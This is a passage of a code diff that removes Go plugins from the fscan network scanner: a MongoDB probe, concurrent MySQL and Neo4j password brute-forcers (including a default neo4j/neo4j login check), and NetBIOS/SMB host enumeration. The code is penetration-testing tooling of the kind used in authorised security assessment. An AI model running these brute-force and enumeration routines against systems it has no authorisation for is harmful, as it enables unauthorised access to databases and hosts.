return string(reply[:count]), nil
|
||||
}
|
||||
|
||||
// createOpMsgPacket 创建OP_MSG查询包
|
||||
func createOpMsgPacket() []byte {
|
||||
return []byte{
|
||||
0x69, 0x00, 0x00, 0x00, // messageLength
|
||||
0x39, 0x00, 0x00, 0x00, // requestID
|
||||
0x00, 0x00, 0x00, 0x00, // responseTo
|
||||
0xdd, 0x07, 0x00, 0x00, // opCode OP_MSG
|
||||
0x00, 0x00, 0x00, 0x00, // flagBits
|
||||
// sections db.adminCommand({getLog: "startupWarnings"})
|
||||
0x00, 0x54, 0x00, 0x00, 0x00, 0x02, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x02, 0x24, 0x64, 0x62, 0x00, 0x06, 0x00, 0x00, 0x00, 0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x03, 0x6c, 0x73, 0x69, 0x64, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x05, 0x69, 0x64, 0x00, 0x10, 0x00, 0x00, 0x00, 0x04, 0x6e, 0x81, 0xf8, 0x8e, 0x37, 0x7b, 0x4c, 0x97, 0x84, 0x4e, 0x90, 0x62, 0x5a, 0x54, 0x3c, 0x93, 0x00, 0x00,
|
||||
}
|
||||
}
|
||||
|
||||
// createOpQueryPacket 创建OP_QUERY查询包
|
||||
func createOpQueryPacket() []byte {
|
||||
return []byte{
|
||||
0x48, 0x00, 0x00, 0x00, // messageLength
|
||||
0x02, 0x00, 0x00, 0x00, // requestID
|
||||
0x00, 0x00, 0x00, 0x00, // responseTo
|
||||
0xd4, 0x07, 0x00, 0x00, // opCode OP_QUERY
|
||||
0x00, 0x00, 0x00, 0x00, // flags
|
||||
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x2e, 0x24, 0x63, 0x6d, 0x64, 0x00, // fullCollectionName admin.$cmd
|
||||
0x00, 0x00, 0x00, 0x00, // numberToSkip
|
||||
0x01, 0x00, 0x00, 0x00, // numberToReturn
|
||||
// query db.adminCommand({getLog: "startupWarnings"})
|
||||
0x21, 0x00, 0x00, 0x00, 0x2, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x67, 0x00, 0x10, 0x00, 0x00, 0x00, 0x73, 0x74, 0x61, 0x72, 0x74, 0x75, 0x70, 0x57, 0x61, 0x72, 0x6e, 0x69, 0x6e, 0x67, 0x73, 0x00, 0x00,
|
||||
}
|
||||
}
|
||||
@@ -1,306 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// MySQLCredential 表示一个MySQL凭据
|
||||
type MySQLCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// MySQLScanResult 表示MySQL扫描结果
|
||||
type MySQLScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential MySQLCredential
|
||||
}
|
||||
|
||||
// MysqlScan 执行MySQL服务扫描
|
||||
func MysqlScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []MySQLCredential
|
||||
for _, user := range Common.Userdict["mysql"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, MySQLCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["mysql"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentMySQLScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveMySQLResult(info, target, result.Credential)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("MySQL扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentMySQLScan 并发扫描MySQL服务
|
||||
func concurrentMySQLScan(ctx context.Context, info *Common.HostInfo, credentials []MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *MySQLScanResult, 1)
|
||||
workChan := make(chan MySQLCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryMySQLCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("MySQL并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryMySQLCredential 尝试单个MySQL凭据
|
||||
func tryMySQLCredential(ctx context.Context, info *Common.HostInfo, credential MySQLCredential, timeoutSeconds int64, maxRetries int) *MySQLScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &MySQLScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建独立的超时上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
success, err := MysqlConn(connCtx, info, credential.Username, credential.Password)
|
||||
cancel()
|
||||
|
||||
if success {
|
||||
return &MySQLScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// Access denied 表示用户名或密码错误,无需重试
|
||||
if strings.Contains(err.Error(), "Access denied") {
|
||||
break
|
||||
}
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &MySQLScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// MysqlConn 尝试MySQL连接
|
||||
func MysqlConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port, username, password := info.Host, info.Ports, user, pass
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造连接字符串,包含超时设置
|
||||
connStr := fmt.Sprintf(
|
||||
"%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v",
|
||||
username, password, host, port, timeout,
|
||||
)
|
||||
|
||||
// 创建结果通道
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 在协程中尝试连接
|
||||
go func() {
|
||||
// 建立数据库连接
|
||||
db, err := sql.Open("mysql", connStr)
|
||||
if err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{false, err}:
|
||||
}
|
||||
return
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
// 设置连接参数
|
||||
db.SetConnMaxLifetime(timeout)
|
||||
db.SetConnMaxIdleTime(timeout)
|
||||
db.SetMaxIdleConns(0)
|
||||
|
||||
// 添加上下文支持
|
||||
conn, err := db.Conn(ctx)
|
||||
if err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{false, err}:
|
||||
}
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 测试连接
|
||||
err = conn.PingContext(ctx)
|
||||
if err != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{false, err}:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 连接成功
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{true, nil}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或上下文取消
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result.success, result.err
|
||||
case <-ctx.Done():
|
||||
return false, ctx.Err()
|
||||
}
|
||||
}
|
||||
|
||||
// saveMySQLResult 保存MySQL扫描结果
|
||||
func saveMySQLResult(info *Common.HostInfo, target string, credential MySQLCredential) {
|
||||
successMsg := fmt.Sprintf("MySQL %s %v %v", target, credential.Username, credential.Password)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "mysql",
|
||||
"username": credential.Username,
|
||||
"password": credential.Password,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
@@ -1,356 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/neo4j/neo4j-go-driver/v4/neo4j"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Neo4jCredential 表示一个Neo4j凭据
|
||||
type Neo4jCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// Neo4jScanResult 表示Neo4j扫描结果
|
||||
type Neo4jScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential Neo4jCredential
|
||||
IsUnauth bool
|
||||
IsDefaultCreds bool
|
||||
}
|
||||
|
||||
func Neo4jScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 初始检查列表 - 无认证和默认凭证
|
||||
initialCredentials := []Neo4jCredential{
|
||||
{"", ""}, // 无认证
|
||||
{"neo4j", "neo4j"}, // 默认凭证
|
||||
}
|
||||
|
||||
// 先检查无认证和默认凭证
|
||||
Common.LogDebug("尝试默认凭证...")
|
||||
for _, credential := range initialCredentials {
|
||||
Common.LogDebug(fmt.Sprintf("尝试: %s:%s", credential.Username, credential.Password))
|
||||
|
||||
result := tryNeo4jCredential(ctx, info, credential, Common.Timeout, 1)
|
||||
if result.Success {
|
||||
// 标记结果类型
|
||||
if credential.Username == "" && credential.Password == "" {
|
||||
result.IsUnauth = true
|
||||
} else {
|
||||
result.IsDefaultCreds = true
|
||||
}
|
||||
|
||||
// 保存结果
|
||||
saveNeo4jResult(info, target, result)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []Neo4jCredential
|
||||
for _, user := range Common.Userdict["neo4j"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, Neo4jCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["neo4j"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentNeo4jScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveNeo4jResult(info, target, result)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Neo4j扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+len(initialCredentials)))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentNeo4jScan 并发扫描Neo4j服务
|
||||
func concurrentNeo4jScan(ctx context.Context, info *Common.HostInfo, credentials []Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *Neo4jScanResult, 1)
|
||||
workChan := make(chan Neo4jCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := tryNeo4jCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("Neo4j并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// tryNeo4jCredential 尝试单个Neo4j凭据
|
||||
func tryNeo4jCredential(ctx context.Context, info *Common.HostInfo, credential Neo4jCredential, timeoutSeconds int64, maxRetries int) *Neo4jScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &Neo4jScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建连接结果通道
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 在协程中尝试连接
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
|
||||
go func() {
|
||||
defer cancel()
|
||||
success, err := Neo4jConn(info, credential.Username, credential.Password)
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或超时
|
||||
var success bool
|
||||
var err error
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
success = result.success
|
||||
err = result.err
|
||||
case <-connCtx.Done():
|
||||
if ctx.Err() != nil {
|
||||
// 全局超时
|
||||
return &Neo4jScanResult{
|
||||
Success: false,
|
||||
Error: ctx.Err(),
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
// 单个连接超时
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if success {
|
||||
return &Neo4jScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
lastErr = err
|
||||
if err != nil {
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(err); retryErr == nil {
|
||||
break // 不需要重试的错误
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return &Neo4jScanResult{
|
||||
Success: false,
|
||||
Error: lastErr,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
|
||||
// Neo4jConn 尝试Neo4j连接
|
||||
func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
// 构造Neo4j URL
|
||||
uri := fmt.Sprintf("bolt://%s:%s", host, port)
|
||||
|
||||
// 配置驱动选项
|
||||
config := func(c *neo4j.Config) {
|
||||
c.SocketConnectTimeout = timeout
|
||||
c.ConnectionAcquisitionTimeout = timeout
|
||||
}
|
||||
|
||||
var driver neo4j.Driver
|
||||
var err error
|
||||
|
||||
// 尝试建立连接
|
||||
if user != "" || pass != "" {
|
||||
// 有认证信息时使用认证
|
||||
driver, err = neo4j.NewDriver(uri, neo4j.BasicAuth(user, pass, ""), config)
|
||||
} else {
|
||||
// 无认证时使用NoAuth
|
||||
driver, err = neo4j.NewDriver(uri, neo4j.NoAuth(), config)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer driver.Close()
|
||||
|
||||
// 测试连接有效性
|
||||
err = driver.VerifyConnectivity()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 尝试执行简单查询以确认权限
|
||||
session := driver.NewSession(neo4j.SessionConfig{AccessMode: neo4j.AccessModeRead})
|
||||
defer session.Close()
|
||||
|
||||
_, err = session.Run("MATCH (n) RETURN count(n) LIMIT 1", nil)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// saveNeo4jResult 保存Neo4j扫描结果
|
||||
func saveNeo4jResult(info *Common.HostInfo, target string, result *Neo4jScanResult) {
|
||||
var successMsg string
|
||||
var details map[string]interface{}
|
||||
|
||||
if result.IsUnauth {
|
||||
// 无认证访问
|
||||
successMsg = fmt.Sprintf("Neo4j服务 %s 无需认证即可访问", target)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "neo4j",
|
||||
"type": "unauthorized-access",
|
||||
}
|
||||
} else if result.IsDefaultCreds {
|
||||
// 默认凭证
|
||||
successMsg = fmt.Sprintf("Neo4j服务 %s 默认凭证可用 用户名: %s 密码: %s",
|
||||
target, result.Credential.Username, result.Credential.Password)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "neo4j",
|
||||
"type": "default-credentials",
|
||||
"username": result.Credential.Username,
|
||||
"password": result.Credential.Password,
|
||||
}
|
||||
} else {
|
||||
// 弱密码
|
||||
successMsg = fmt.Sprintf("Neo4j服务 %s 爆破成功 用户名: %s 密码: %s",
|
||||
target, result.Credential.Username, result.Credential.Password)
|
||||
details = map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "neo4j",
|
||||
"type": "weak-password",
|
||||
"username": result.Credential.Username,
|
||||
"password": result.Credential.Password,
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
}
|
||||
@@ -1,408 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"gopkg.in/yaml.v3"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var errNetBIOS = errors.New("netbios error")
|
||||
|
||||
func NetBIOS(info *Common.HostInfo) error {
|
||||
netbios, _ := NetBIOS1(info)
|
||||
output := netbios.String()
|
||||
if len(output) > 0 {
|
||||
result := fmt.Sprintf("NetBios %-15s %s", info.Host, output)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 保存结果
|
||||
details := map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
}
|
||||
|
||||
// 添加有效的 NetBIOS 信息
|
||||
if netbios.ComputerName != "" {
|
||||
details["computer_name"] = netbios.ComputerName
|
||||
}
|
||||
if netbios.DomainName != "" {
|
||||
details["domain_name"] = netbios.DomainName
|
||||
}
|
||||
if netbios.NetDomainName != "" {
|
||||
details["netbios_domain"] = netbios.NetDomainName
|
||||
}
|
||||
if netbios.NetComputerName != "" {
|
||||
details["netbios_computer"] = netbios.NetComputerName
|
||||
}
|
||||
if netbios.WorkstationService != "" {
|
||||
details["workstation_service"] = netbios.WorkstationService
|
||||
}
|
||||
if netbios.ServerService != "" {
|
||||
details["server_service"] = netbios.ServerService
|
||||
}
|
||||
if netbios.DomainControllers != "" {
|
||||
details["domain_controllers"] = netbios.DomainControllers
|
||||
}
|
||||
if netbios.OsVersion != "" {
|
||||
details["os_version"] = netbios.OsVersion
|
||||
}
|
||||
|
||||
scanResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.SERVICE,
|
||||
Target: info.Host,
|
||||
Status: "identified",
|
||||
Details: details,
|
||||
}
|
||||
|
||||
Common.SaveResult(scanResult)
|
||||
return nil
|
||||
}
|
||||
return errNetBIOS
|
||||
}
|
||||
|
||||
func NetBIOS1(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
netbios, err = GetNbnsname(info)
|
||||
var payload0 []byte
|
||||
if netbios.ServerService != "" || netbios.WorkstationService != "" {
|
||||
ss := netbios.ServerService
|
||||
if ss == "" {
|
||||
ss = netbios.WorkstationService
|
||||
}
|
||||
name := netbiosEncode(ss)
|
||||
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
|
||||
payload0 = append(payload0, name...)
|
||||
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
|
||||
}
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
var conn net.Conn
|
||||
conn, err = Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if info.Ports == "139" && len(payload0) > 0 {
|
||||
_, err1 := conn.Write(payload0)
|
||||
if err1 != nil {
|
||||
return
|
||||
}
|
||||
_, err1 = ReadBytes(conn)
|
||||
if err1 != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
_, err = conn.Write(NegotiateSMBv1Data1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = ReadBytes(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
_, err = conn.Write(NegotiateSMBv1Data2)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var ret []byte
|
||||
ret, err = ReadBytes(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
netbios2, err := ParseNTLM(ret)
|
||||
JoinNetBios(&netbios, &netbios2)
|
||||
return
|
||||
}
|
||||
|
||||
func GetNbnsname(info *Common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
|
||||
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
|
||||
realhost := fmt.Sprintf("%s:137", info.Host)
|
||||
conn, err := net.DialTimeout("udp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
defer conn.Close()
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = conn.Write(senddata1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, _ := ReadBytes(conn)
|
||||
netbios, err = ParseNetBios(text)
|
||||
return
|
||||
}
|
||||
|
||||
func bytetoint(text byte) (int, error) {
|
||||
num1 := fmt.Sprintf("%v", text)
|
||||
num, err := strconv.Atoi(num1)
|
||||
return num, err
|
||||
}
|
||||
|
||||
func netbiosEncode(name string) (output []byte) {
|
||||
var names []int
|
||||
src := fmt.Sprintf("%-16s", name)
|
||||
for _, a := range src {
|
||||
char_ord := int(a)
|
||||
high_4_bits := char_ord >> 4
|
||||
low_4_bits := char_ord & 0x0f
|
||||
names = append(names, high_4_bits, low_4_bits)
|
||||
}
|
||||
for _, one := range names {
|
||||
out := (one + 0x41)
|
||||
output = append(output, byte(out))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
var (
|
||||
UNIQUE_NAMES = map[string]string{
|
||||
"\x00": "WorkstationService",
|
||||
"\x03": "Messenger Service",
|
||||
"\x06": "RAS Server Service",
|
||||
"\x1F": "NetDDE Service",
|
||||
"\x20": "ServerService",
|
||||
"\x21": "RAS Client Service",
|
||||
"\xBE": "Network Monitor Agent",
|
||||
"\xBF": "Network Monitor Application",
|
||||
"\x1D": "Master Browser",
|
||||
"\x1B": "Domain Master Browser",
|
||||
}
|
||||
|
||||
GROUP_NAMES = map[string]string{
|
||||
"\x00": "DomainName",
|
||||
"\x1C": "DomainControllers",
|
||||
"\x1E": "Browser Service Elections",
|
||||
}
|
||||
|
||||
NetBIOS_ITEM_TYPE = map[string]string{
|
||||
"\x01\x00": "NetBiosComputerName",
|
||||
"\x02\x00": "NetBiosDomainName",
|
||||
"\x03\x00": "ComputerName",
|
||||
"\x04\x00": "DomainName",
|
||||
"\x05\x00": "DNS tree name",
|
||||
"\x07\x00": "Time stamp",
|
||||
}
|
||||
NegotiateSMBv1Data1 = []byte{
|
||||
